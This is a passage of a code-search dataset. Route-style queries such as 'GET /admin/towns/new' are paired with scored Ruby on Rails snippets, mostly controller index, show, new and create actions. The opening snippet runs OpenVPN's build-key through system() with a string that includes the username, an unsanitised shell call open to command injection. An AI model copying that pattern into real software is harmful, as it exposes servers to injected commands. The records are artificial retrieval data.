"text": "def create\n if current_user.certificates.count < current_user.cert_limit\n name = current_user.username + Time.now.to_i.to_s\n # @certificate = Certificate.new()\n @certificate = current_user.certificates.build(:title => name)\n number=File.open(\"/etc/openvpn/easy-rsa/keys/serial\", \"r\").readline.chomp\n ENV['KEY_CN']=name\n Dir.chdir \"/etc/openvpn/easy-rsa/\"\n system \"sh /etc/openvpn/easy-rsa/build-key \" + name\n @certificate.number=number\n @certificate.link_key=\"/etc/openvpn/easy-rsa/keys/\" + name + \".key\"\n @certificate.link_crt=\"/etc/openvpn/easy-rsa/keys/\" + name + \".crt\"\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to(@certificate, :notice => t('.cert_was_created') ) }\n format.xml { render :xml => @certificate, :status => :created, :location => @certificate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @certificate.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to(certificates_url, :notice => t('.cert_was_not_created') )\n end\n end",
"title": ""
},
{
"docid": "78fe7ea94fe0ad1638adca0eda002d33",
"score": "0.52761555",
"text": "def certificates\n if @certificates.nil?\n @certificates = CertificateDepot::Store.new(self.class.certificates_path(path))\n @certificates.extend(MonitorMixin)\n end; @certificates\n end",
"title": ""
},
{
"docid": "6563ab126c087074c77f50982a6dc846",
"score": "0.52734077",
"text": "def has_authz_peer_cert(peer_certs, authz_certs)\n peer_certs.any? do |peer_cert|\n authz_certs.any? do |authz_cert|\n peer_cert.verify(authz_cert.public_key)\n end\n end\n end",
"title": ""
},
{
"docid": "1c465f1ca9577af9fe8b121405732860",
"score": "0.5272759",
"text": "def check_cert_expiring(not_after: nil)\n Puppet.debug('checking cert expiring')\n not_after = cert_not_after unless not_after\n PuppetX::Encore::Vault::Util.check_expiring(not_after, resource[:regenerate_ttl])\n end",
"title": ""
},
{
"docid": "70eac84b80d9d0f854bca6845d25a888",
"score": "0.52709025",
"text": "def allows_certificate_signing?\n usage = read_extension_by_oid('keyUsage')\n usage.nil? || !!(usage.match(%r{\\bCertificate Sign\\b}))\n end",
"title": ""
},
{
"docid": "9e4f847cea776de96da88fd5a5194dfc",
"score": "0.52693915",
"text": "def keycerts\n Array(options[:keycerts])\n end",
"title": ""
}
] |
7e869545e3f474a98ee7f4a91e90bf79
|
GET /archive_entry_couriers/1 GET /archive_entry_couriers/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "ccd079588c9e856303b030f96befd56f",
"score": "0.7057329",
"text": "def index\n @archive_entry_couriers = ArchiveEntryCourier.all\n end",
"title": ""
},
{
"docid": "618804b5e11a883314e00adddb58ec28",
"score": "0.65246075",
"text": "def index\n @entry_couriers = EntryCourier.all\n end",
"title": ""
},
{
"docid": "18ddcd8132acc2337000894b0e2152a5",
"score": "0.64303124",
"text": "def index\n @archive_couriers = ArchiveCourier.all\n end",
"title": ""
},
{
"docid": "d82c2fc9bddc5c2019f2f4bad034a7e4",
"score": "0.61910427",
"text": "def index\n @archive_release_couriers = ArchiveReleaseCourier.all\n end",
"title": ""
},
{
"docid": "e20cb5d393eed5c1f06427d628bcdeff",
"score": "0.5901647",
"text": "def index\n # @composers = Composer.all\n @composers = @category.composers \n\n render json: @composers \n end",
"title": ""
},
{
"docid": "ab916b35a8bd18d7e9d985bf15fdc3a4",
"score": "0.5900568",
"text": "def index\n @cereals = Cereal.all\n end",
"title": ""
},
{
"docid": "573795645edc4c1b3c72bd258de205f5",
"score": "0.5664384",
"text": "def show\n @cago = Cago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cago }\n end\n end",
"title": ""
},
{
"docid": "2961344ea7bfd10664dc7b0438ab429f",
"score": "0.56616306",
"text": "def archive\n @chore = Chore.find(params[:id])\n @chore.archive\n\n respond_to do |format|\n format.html { redirect_to request.referer}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1a6389f2ed32a2e3fc32a05f54b3a3de",
"score": "0.56234163",
"text": "def index\n @collages = Collage.order(\"created_at DESC\").all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @collages }\n end\n end",
"title": ""
},
{
"docid": "2bdf9bc9e23a44f3ca97397d40dc7ffe",
"score": "0.56070936",
"text": "def index\n @councils = Council.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @councils }\n end\n end",
"title": ""
},
{
"docid": "b8cbeeb9a014a87e2a5af794c4fc3294",
"score": "0.56007165",
"text": "def index\n puts 'about to get all crimes'\n @crimes = Crime.all\n puts 'finished with crimes'\n @crimes.to_json\n end",
"title": ""
},
{
"docid": "05b8c15f87cb214c4fad9623dbbafbc8",
"score": "0.5592985",
"text": "def index\n @dates = DateEntry.browse_dates(params[:neighborhood], params[:cap])\n render json: @dates, status: 200\n end",
"title": ""
},
{
"docid": "34b2c96f8efacc1db97d2519e5e26d47",
"score": "0.5558361",
"text": "def index\n @coworkers = Coworker.find(:all, order: \"id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coworkers }\n end\n end",
"title": ""
},
{
"docid": "74dfd66739d440d87ebb4cfe9f622695",
"score": "0.5549701",
"text": "def caverne\n self.class.get('/monstre_caverne.json')\n end",
"title": ""
},
{
"docid": "aa9467d5186760f94a93ae5c942c71cf",
"score": "0.5547978",
"text": "def index\n @client_cashes = ClientCash.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_cashes }\n end\n end",
"title": ""
},
{
"docid": "418821e543a88b1a9e38d3aa865fed50",
"score": "0.5533863",
"text": "def index\n @entries = Entry.all\n render :json => @entries, :include => {\n :user => {:only => [:id, :name]},\n :category => {:only => [:id, :name]},\n }, :except => [:category_id, :user_id]\n\n #render :json => @programs, :include => {:insurer => {:only => :name}}, :except => [:created_at, :updated_at]\n end",
"title": ""
},
{
"docid": "375b5b4634fbcf282593112630b69413",
"score": "0.5529423",
"text": "def index\n @entries = Entry.all\n\n render json: @entries\n end",
"title": ""
},
{
"docid": "eca1a65368e92fc769206e583b883713",
"score": "0.5524014",
"text": "def index\n @comments = @entry.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comments }\n end\n end",
"title": ""
},
{
"docid": "13e23e57b56cb1ddb3150410027f1519",
"score": "0.5523711",
"text": "def index\n @entries = @location.entries.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "a0f4b1b39f5655a684bdbab9cd08f8e2",
"score": "0.55204403",
"text": "def index\n @couriers = Courier.paginate(page: params[:page], per_page: 10).order(updated_at: :desc)\n end",
"title": ""
},
{
"docid": "89ffedb2c8d52687aa473a1a89e2eaff",
"score": "0.5488193",
"text": "def index\n @coustomers = Coustomer.all\n end",
"title": ""
},
{
"docid": "cd3de7462edc1e8270c35f150554e544",
"score": "0.5466022",
"text": "def show\n @entry = Entry.unscoped.find(params[:id])\n @categories = @entry.categories\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end",
"title": ""
},
{
"docid": "be522cae88dd7da90954573335f2c22c",
"score": "0.5451151",
"text": "def show\n @concordance_entry = ConcordanceEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concordance_entry }\n end\n end",
"title": ""
},
{
"docid": "3af4b9acdb01fa0d89aa7a90d81f6907",
"score": "0.545045",
"text": "def get_details_archive\n ensure_client && ensure_uri\n response = @client.rest_get(\"#{BASE_URI}/archive/#{data['uri'].split('/').last}\")\n @client.response_handler(response)\n end",
"title": ""
},
{
"docid": "0ac22305cf2bca4a1680f3b30aff4745",
"score": "0.54426026",
"text": "def index\n @coauthors = Coauthor.all\n end",
"title": ""
},
{
"docid": "48eb19bd8545406818fcf039b01a3a87",
"score": "0.5432243",
"text": "def lookup_my_comic_archives()\n # TODO use paging\n li = [];\n ComicStrip.all.each do |elem|\n# li = ComicStrip.find(:all).collect do |strip|\n# li << { \n# :image => elem.get_thumbnail(),\n# :link => elem.get_my_link(),\n# :title => elem.title,\n# :number => elem.get_number(),\n# :date => elem.get_date() \n# }; \n li << { \n :link => elem.get_my_link(),\n :title => elem.title,\n :number => elem.get_number(),\n :date => elem.get_date() \n }; \n\n end\n\n li.sort!{ |a,b| a[ :number ] <=> a[ :number ] };\n li.reverse!;\n return li;\n end",
"title": ""
},
{
"docid": "321781eadc27e1d5634aaa701e89e864",
"score": "0.5427878",
"text": "def index\n @soccer_entries = SoccerEntry.all\n end",
"title": ""
},
{
"docid": "d0d836a0c79ff52cdc8c2d29b1290fb9",
"score": "0.5417325",
"text": "def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "d0d836a0c79ff52cdc8c2d29b1290fb9",
"score": "0.5417325",
"text": "def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "06443b5a7e002b7717fdab58628ad43b",
"score": "0.54170805",
"text": "def index\n @cocktails = Cocktail.all\n #render json: @cocktails\n end",
"title": ""
},
{
"docid": "08b31afe2a9fb2767e3ece0e12e3af61",
"score": "0.5413722",
"text": "def index\n @cashes = Cash.find(:all, :conditions => [\"user_id = ?\", current_user])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cashes }\n end\n end",
"title": ""
},
{
"docid": "e9921e627b8cb009e2bfd2f11ef065a4",
"score": "0.5409761",
"text": "def category_entries\n category = Classification.find_by(:id => params[:id])\n entries = category.entries\n entry = entries.find_by(:id => params[:entry_id])\n render :json => {:id => entry.id, :name => entry.name, :description => entry.description}\n end",
"title": ""
},
{
"docid": "d66114e87c25a9aac995ad4671d8265b",
"score": "0.5398471",
"text": "def show\n @entry = Entry.find(params[:id])\n breadcrumbs.add @entry.company.name,company_link(@entry.company) unless @entry.company.nil?\n breadcrumbs.add @entry.title\n #jisuan_houzhui\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end",
"title": ""
},
{
"docid": "8842bd9bc7cc568bb83cfa3f3d5c3822",
"score": "0.5398376",
"text": "def index\n @correntista = Correntistum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @correntista }\n end\n end",
"title": ""
},
{
"docid": "5e1be10b1248fa732549fa55d85c0e0b",
"score": "0.5390262",
"text": "def index\n @racers = Racer.all\n\n render json: @racers\n end",
"title": ""
},
{
"docid": "f61742f6289b947e2bb5d7e7c5ab7b9d",
"score": "0.5388854",
"text": "def index\n if (params[:course_id])\n @course = Course.find(params[:course_id])\n @calendar_entries = @course.calendar_entries.order(\"created_at DESC\")\n else\n @calendar_entries = CalendarEntry.all.order(\"created_at DESC\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @calendar_entries }\n end\n end",
"title": ""
},
{
"docid": "c4ca770fc6463ea310273b108ff65751",
"score": "0.53836405",
"text": "def index\n @contractees = Contractee.all\n end",
"title": ""
},
{
"docid": "3280947383d638712557fa62c8705fc2",
"score": "0.5381867",
"text": "def index\n @clipboard_items = ClipboardItem.all\n\n jsonStr = \"{ \\\"items\\\" : {\"\n first = true\n @clipboard_items.each { |item|\n jsonStr += ', ' unless first\n cite = item.citation.sub(\"\\n\\r\",\" \").sub(\"\\r\\n\",\" \").sub(\"\\n\",\" \").sub(\"\\r\",\" \").chomp\n logger.info(\"----------------\")\n logger.info(cite)\n jsonStr += \"\\\"#{item.citation_id}\\\" : #{cite}\" \n first = false\n } \n jsonStr += \"} }\"\n\n logger.info('--------------------------------------------')\n logger.info(jsonStr)\n logger.info('--------------------------------------------')\n style_id = @person.preferred_style\n\n @citation_table = CslProcessor.formatCitations(style_id, jsonStr)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clipboard_items }\n end\n end",
"title": ""
},
{
"docid": "2c2340efcfed7e0016fb84a2b69948b7",
"score": "0.53789705",
"text": "def index\n @publication_archives = PublicationArchive.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @campaign_publication_archives }\n end\n end",
"title": ""
},
{
"docid": "dba9ce29525ab34c267a1c133fb90c02",
"score": "0.537558",
"text": "def index\n respond_to do |format|\n format.html {\n @recent_objects = Citation.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n }\n format.json {\n @citations = ::Queries::Citation::Filter.new(params).all\n .where(project_id: sessions_current_project_id)\n .eager_load(:source)\n .order(:source_id, :pages)\n .page(params[:page]).per(params[:per])\n }\n end\n end",
"title": ""
},
{
"docid": "11aad96f24d7f363e5472d01cb79ba85",
"score": "0.5375554",
"text": "def index\n @entries = Entry.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @entries }\n end\n end",
"title": ""
},
{
"docid": "dce8653c483399087bc79f49fa38bf32",
"score": "0.536128",
"text": "def show\n @caffeine = Caffeine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caffeine }\n end\n end",
"title": ""
},
{
"docid": "c91307620001301366062734341ec01c",
"score": "0.53604335",
"text": "def index\n @population_submission = PopulationSubmission.find(params[:population_submission_id])\n @linked_citations = @population_submission.linked_citations.order(:short_citation,:long_citation)\n @submission = @population_submission.submission\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @linked_citations }\n end\n end",
"title": ""
},
{
"docid": "fdb314b737343f128cfbcbccd85c6010",
"score": "0.53574497",
"text": "def show\n @cigs_per_day = CigsPerDay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cigs_per_day }\n end\n end",
"title": ""
},
{
"docid": "0c4b95bd33a5c4b392e34b7ed5e3cc72",
"score": "0.5343337",
"text": "def index\n @coa_summary_files = CoaSummaryFile.all\n @uncurated = CoaSummary.uncurated\n @curated = CoaSummary.curated\n respond_to do |format|\n format.html\n format.json { render json: CuratedCoaDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "2cccc58930115136779a030ad56c5634",
"score": "0.53367984",
"text": "def index\n @arcs = Arc.all\n end",
"title": ""
},
{
"docid": "3d0160610f444f058140318095037fd6",
"score": "0.53143495",
"text": "def index\n @citations = Citation.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @citations }\n format.xml { render :xml => @citations }\n end\n end",
"title": ""
},
{
"docid": "92d07a1e1c2d8927a0de921fd3b64235",
"score": "0.53049755",
"text": "def index\n @cabins = Cabin.all\n end",
"title": ""
},
{
"docid": "a8181ae11b00745b80d633ebafae0365",
"score": "0.529837",
"text": "def index\n @constructeds = Constructed.where(user_id: current_user.id).paginate(:page => params[:page], :per_page => 10).order('created_at DESC')\n @constructed = Constructed.new\n @lastentry = Constructed.where(user_id: current_user.id).last\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @constructeds }\n end\n end",
"title": ""
},
{
"docid": "c7c0a015184b66e35144701a799f0d1e",
"score": "0.5294462",
"text": "def index\n @discapacity_origins = DiscapacityOrigin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discapacity_origins }\n end\n end",
"title": ""
},
{
"docid": "7c1a312949978f7e0fe6ff935bace74d",
"score": "0.52909696",
"text": "def index\n @readentries = Readentry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @readentries }\n end\n end",
"title": ""
},
{
"docid": "e784523a80db153aaada5504973a03d3",
"score": "0.5290776",
"text": "def get_coauthor_array(uri)\n filename = \"#{Rails.root}/tmp/vivo/coauthors/#{uuid_from_uri(uri)}.json\"\n file = File.read(filename)\n data = JSON.parse(file)\n data[\"results\"][\"bindings\"]\n end",
"title": ""
},
{
"docid": "6239eb7cadc58098cb08bcb420bc1786",
"score": "0.5290303",
"text": "def show\n @breadcrumb = 'read'\n @contract_type = ContractType.find(params[:id])\n @workers = @contract_type.workers.paginate(:page => params[:page], :per_page => per_page).order('worker_code')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_type }\n end\n end",
"title": ""
},
{
"docid": "ab2cff02d5ed2c2a0e80d1a2f11a73bd",
"score": "0.52885944",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: Careplan.all }\n end\n end",
"title": ""
},
{
"docid": "38f086a9ec89fcdfdfc9a88fa18fe709",
"score": "0.52878976",
"text": "def index\n\t\tcuisines = Cuisine.all\n\t render json: cuisines\n\tend",
"title": ""
},
{
"docid": "5cbca6155fc9120628ad059ae1f0dc92",
"score": "0.528667",
"text": "def index\n @application_cargos = @application.application_cargos\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @application_cargos }\n end\n end",
"title": ""
},
{
"docid": "ac02da36c0bdf383c3edb2ea9d06ffd0",
"score": "0.5281981",
"text": "def index\n @calendars = @hairdresser.calendars\n end",
"title": ""
},
{
"docid": "427c04942699ec6f024c70d87fac2ffc",
"score": "0.52711546",
"text": "def index\n @citation_sources = CitationSource.all\n end",
"title": ""
},
{
"docid": "f18e804159e6020161fdde15e8be1013",
"score": "0.5269107",
"text": "def index\n @coordinators = Coordinator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordinators }\n end\n end",
"title": ""
},
{
"docid": "3f69d35247bb4ffda5b299f2206baa19",
"score": "0.5265077",
"text": "def index\n @entries = Entry.order('created_at desc').paginate(:page => params[:page] || 1, :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "b928c88cd33d1a66d92604a1bc295f79",
"score": "0.52629435",
"text": "def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arc }\n end\n end",
"title": ""
},
{
"docid": "cde61c27c13bc405c3dc4016a9defe01",
"score": "0.5257348",
"text": "def index\n @coin_entries = CoinEntry.all\n end",
"title": ""
},
{
"docid": "11a16bce83985e66f954ae1b23d04d0b",
"score": "0.52512217",
"text": "def index\n @caixas = Caixa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @caixas }\n end\n end",
"title": ""
},
{
"docid": "444489c7032994818763903673f3e1da",
"score": "0.5248388",
"text": "def index\n @coches = Coche.all\n end",
"title": ""
},
{
"docid": "7039486a6d4738672720a0a274f1f5ab",
"score": "0.5246568",
"text": "def index\n @conges = Conge.all\n end",
"title": ""
},
{
"docid": "d144515f40616fcd4071bc6074af11d5",
"score": "0.5238081",
"text": "def index\n @clientes = Cliente.all\n render json: @clientes\n end",
"title": ""
},
{
"docid": "d8b1d442b8b2ff391936b65127ebc3d1",
"score": "0.52368623",
"text": "def index\n @corals = Coral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corals }\n end\n end",
"title": ""
},
{
"docid": "fafd4824564d96d349833d5256fd4a34",
"score": "0.52350396",
"text": "def index\n # @buildings = Building.all\n\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n @buildings = @city.buildings\n\n render json: @buildings, status: :ok\n end",
"title": ""
},
{
"docid": "0a6cd62cc12226d35e19bec048009100",
"score": "0.5234267",
"text": "def show\n @category = Category.find(params[:id])\n @all_projects = @category.projects.order(\"updated_at DESC\")\n @projects = @category.projects.order(\"updated_at DESC\")\n\n respond_to do |format|\n format.html\n format.json { render :json => @collections }\n end\n end",
"title": ""
},
{
"docid": "28af8d07445b349789fa3f8a86cccdb6",
"score": "0.52277136",
"text": "def index\n @cozinhas = Cozinha.all\n end",
"title": ""
},
{
"docid": "ced6483511197b169b7dbb22e3b4f1ef",
"score": "0.5227445",
"text": "def index\n @carrier_clients = CarrierClient.all\n end",
"title": ""
},
{
"docid": "dece1bdf2e32ae8e7c1b941dc619908e",
"score": "0.5227138",
"text": "def index\n @cocheras = Cochera.all\n end",
"title": ""
},
{
"docid": "916bae95a90d2eacaee2f52a3d4acc9b",
"score": "0.52265465",
"text": "def show\n render json: @dailycares\n end",
"title": ""
},
{
"docid": "f902d02a402b9db824902b2ff46bab33",
"score": "0.5226388",
"text": "def index\n @calendriers = Calendrier.all\n end",
"title": ""
},
{
"docid": "3c91dbf02be1c97f04bff2688caac42e",
"score": "0.52252054",
"text": "def index\n @entries = Entry.all\n respond_to do |format|\n format.html\n format.json { render json: EntriesDatatable.new(view_context)}\n end\n end",
"title": ""
},
{
"docid": "73c71b8653316c4d9c60fe6fd5c38589",
"score": "0.5215975",
"text": "def show\n @archive = Archive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @archive }\n end\n end",
"title": ""
},
{
"docid": "8e78e0d9dc340ccf8cb8ada207d563d8",
"score": "0.5215643",
"text": "def index\n @backup_entries = BackupEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backup_entries }\n end\n end",
"title": ""
},
{
"docid": "a5c1303f5c472f85b95a00814c22da2f",
"score": "0.52134806",
"text": "def index\n @fecund_corals = FecundCoral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fecund_corals }\n end\n end",
"title": ""
},
{
"docid": "121d477554ed2da5933060722f113c9f",
"score": "0.5212735",
"text": "def index\n @casos = Caso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @casos }\n end\n end",
"title": ""
},
{
"docid": "50d5f76fb028867b04a6b986632ed1c1",
"score": "0.5208965",
"text": "def index\n @blog_entries = BlogEntry.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blog_entries }\n end\n end",
"title": ""
},
{
"docid": "f8d658490ffefbff5e5f745d6a91a2d7",
"score": "0.52075744",
"text": "def index\n @ceremonies = Ceremony.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ceremonies }\n end \t\n end",
"title": ""
},
{
"docid": "9136afc6ebab5ced7b694d808a1ce5a0",
"score": "0.520677",
"text": "def show\n @category = Category.find(params[:id])\n @entries = @category.entries\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end",
"title": ""
},
{
"docid": "e46f5f37c6c27c4cf6fdbfd335195d6b",
"score": "0.52006614",
"text": "def show\n render json: @entry\n end",
"title": ""
},
{
"docid": "67d936208fdaf16dcf7f860f8324929b",
"score": "0.5200394",
"text": "def index\n @entries = SourceGlossaryEntry.eager_load(:locale_glossary_entries).sort_by { |e| e.source_copy.downcase }\n\n respond_with @entries do |format|\n format.json { render json: decorate(@entries).to_json }\n end\n end",
"title": ""
},
{
"docid": "3ad454d7f495e578b48ee466adcb7fb9",
"score": "0.5197119",
"text": "def show\n @collection_location_entry = CollectionLocationEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collection_location_entry }\n end\n end",
"title": ""
},
{
"docid": "446e4874c6f72817193c2680057ba374",
"score": "0.5197098",
"text": "def index\n @cuidadors = Cuidador.all\n\n render json: @cuidadors.to_json(:only => [:id, :cpf, :nome, :sexo, :telefone, :datanasc, :email],:include => :animal), status: :ok\n end",
"title": ""
},
{
"docid": "ad210b2e1be6163c5a0d78dacf98d46f",
"score": "0.51957005",
"text": "def index\n #@internships = Internship.where(\"date_from LIKE :prefix\", :prefix => \"#{Time.now.year}-#{mesNumerico}-%\")\n #@internships = Internship.order(\"date_from\").reverse\n @internships = Internship.order(\"updated_at\").reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @internships }\n end\n end",
"title": ""
},
{
"docid": "1af0c5d9f0a6e89ad027267cbcd5a2be",
"score": "0.5195654",
"text": "def index\n @entry_categories = EntryCategory.all\n end",
"title": ""
},
{
"docid": "4d36e6660eafeaba2d0269fabd86b1e3",
"score": "0.51955646",
"text": "def show\n @cabin = Cabin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cabin }\n end\n end",
"title": ""
},
{
"docid": "8ab489ccad1f687f0a3695eddcedbf6f",
"score": "0.51948005",
"text": "def all_cereals\n Cereal.all\n end",
"title": ""
},
{
"docid": "de90c1bc668e199525ee6aff786d3e10",
"score": "0.5194513",
"text": "def index\n @representatives = current_company.representatives\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @representatives }\n end\n end",
"title": ""
},
{
"docid": "446faf69b974e45e47f4a1f65cc24b29",
"score": "0.51934004",
"text": "def index\n #@chainentries = Chainentry.all\n @chainentries = @chain.chainentry\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => {:tag => \"chainentries\", :success=> true, :error => false, :result => @chainentries }}\n end\n end",
"title": ""
},
{
"docid": "ec1ab5167567c585bc66ea633077d669",
"score": "0.519299",
"text": "def index\n @clients = Corrida.all\n end",
"title": ""
},
{
"docid": "417f102f10f63579a571dc79f0b56909",
"score": "0.5188669",
"text": "def index\n @icpc_entries = IcpcEntry.all\n end",
"title": ""
},
{
"docid": "8c41a910e1c9eebd0f8995791cf35cbb",
"score": "0.51876205",
"text": "def index\n @cocktails = current_user.cocktails.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cocktails }\n end\n end",
"title": ""
},
{
"docid": "1e279afeab484badb68a89138578a8a1",
"score": "0.5185717",
"text": "def index\n @codes_cpts = CodesCpt.all(:order => :code).without_status :deleted, :archived\n @title = \"CPT Codes\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @codes_cpts }\n end\n end",
"title": ""
},
{
"docid": "5712830d9e56efc3e8d9753fc792928c",
"score": "0.5182603",
"text": "def show\n @readentry = Readentry.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @readentry }\n end\n end",
"title": ""
},
{
"docid": "ab95b81da2400f21006c9a03fe031826",
"score": "0.51816344",
"text": "def index\n @cervezas = Cerveza.all\n end",
"title": ""
},
{
"docid": "ac112f24d19c0605d9fa52b2af39d33c",
"score": "0.51806855",
"text": "def index\n @corders = Corder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corders }\n end\n end",
"title": ""
},
{
"docid": "d2b2de6309c173cfd4c0d8855069c6eb",
"score": "0.5176662",
"text": "def index\n if params[:clearing_id]\n clearing = Clearing.find params[:clearing_id]\n @enclosures = clearing.enclosures\n else\n @enclosures = Enclosure.all_cached\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enclosures }\n end\n end",
"title": ""
},
{
"docid": "9f12f3994a08f871749a29121f4b1b67",
"score": "0.5175508",
"text": "def index\n# @entries = Entry.find(:all, :order => \"created_at DESC\")\n @entries = Entry.paginate :page => params[:page], \n :per_page => 30,\n :order => \"created_at DESC\",\n :conditions => [\"created_by != ?\", 'sidebar'] \n @entry_days = @entries.group_by { |e| e.created_at.strftime(\"%B %d\")}\n @comments = Comment.find(:all, \n :include => :entry, \n :order => \"created_at DESC\")\n @favored_by = Favorite.find_all_by_user_id(current_user)\n @favcomed_by = Favcom.find_all_by_user_id(current_user)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n\t\t\tformat.json { render :json => @entries }\n\t\t\tformat.atom\n end\n end",
"title": ""
}
] |
3e772fc084049519f5158f71e8cdd704
|
GET /admin/towns/new GET /admin/towns/new.xml
|
[
{
"docid": "2d8ef6ef4ed426cac543bfcc5b863ec7",
"score": "0.73103184",
"text": "def new\n @admin_town = Admin::Town.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_town }\n end\n end",
"title": ""
}
] |
[
{
"docid": "f32294648b9c50c2224539c9ddd18920",
"score": "0.6981209",
"text": "def create\n @admin_town = Admin::Town.new(params[:admin_town])\n\n respond_to do |format|\n if @admin_town.save\n format.html { redirect_to(@admin_town, :notice => 'Town was successfully created.') }\n format.xml { render :xml => @admin_town, :status => :created, :location => @admin_town }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @admin_town.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99071fcb62fa5db9b5b3e84d82cacb63",
"score": "0.68725795",
"text": "def new\n @town = Town.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @town }\n end\n end",
"title": ""
},
{
"docid": "08cd6dbc66473a3c6323992ee3e420c8",
"score": "0.66963285",
"text": "def new\n @town_type = TownType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @town_type }\n end\n end",
"title": ""
},
{
"docid": "25385e50d32c5597791c0fbccd29e7a7",
"score": "0.6649586",
"text": "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"title": ""
},
{
"docid": "ab712866cd33a2b29a204f7597f42971",
"score": "0.6497796",
"text": "def create\n @town = Town.new(params[:town])\n\n respond_to do |format|\n if @town.save\n flash[:notice] = 'Town was successfully created.'\n format.html { redirect_to(@town) }\n format.xml { render :xml => @town, :status => :created, :location => @town }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @town.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f09d2a2291b540405ea8de2acff41aa4",
"score": "0.6430902",
"text": "def new\n @moto_town_type = MotoTownType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_town_type }\n end\n end",
"title": ""
},
{
"docid": "b28b4baf67c41b19866dc1cb101a2fae",
"score": "0.6421256",
"text": "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end",
"title": ""
},
{
"docid": "23cdde8d4b1a2be0bc3eecca07b39e74",
"score": "0.62523973",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"title": ""
},
{
"docid": "d10c1cf0c82f714ff00fe8485a1f0286",
"score": "0.6239906",
